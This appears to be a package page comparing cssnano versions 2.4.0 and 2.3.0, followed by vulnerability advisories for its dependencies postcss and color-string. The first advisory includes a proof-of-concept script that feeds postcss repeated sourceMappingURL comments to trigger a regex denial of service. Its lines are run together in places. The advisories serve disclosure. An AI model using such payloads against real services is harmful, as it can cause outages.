cssnano version 2.4.0 represents a minor update to the popular CSS minification tool, building upon the foundation laid by version 2.3.0. Both versions share the core objective of reducing CSS file sizes through various optimizations, leveraging the PostCSS ecosystem for modularity and extensibility.
A key difference lies in the dependencies. Version 2.4.0 removes the 'flatten' dependency and updates 'postcss-merge-longhand' from version 1.0.0 to 1.0.1 while it also updates 'postcss-minify-selectors' from version 1.4.6 to 1.5.0 and removes 'postcss-pseudoelements'. Developers upgrading should note the removal of 'flatten' and 'postcss-pseudoelements' which might affect specific use cases that relied on these dependencies directly. Overall the versions share mostly the same dependencies.
For developers seeking to integrate cssnano into their workflow, both versions offer a powerful suite of minification techniques, including removal of comments, whitespace, duplicate rules, and unused selectors. They also perform advanced optimizations such as color and value conversions, font-weight reduction, and z-index reordering. The modular architecture allows developers to customize the minification process by selectively enabling or disabling specific plugins. Consider version 2.4.0 for potential bug fixes and minor improvements within the integrated plugins, while being aware of the removal of the 'flatten' dependency. Both versions provide comprehensive CSS minification, streamlining stylesheets for improved website performance.
All the vulnerabilities related to the version 2.4.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.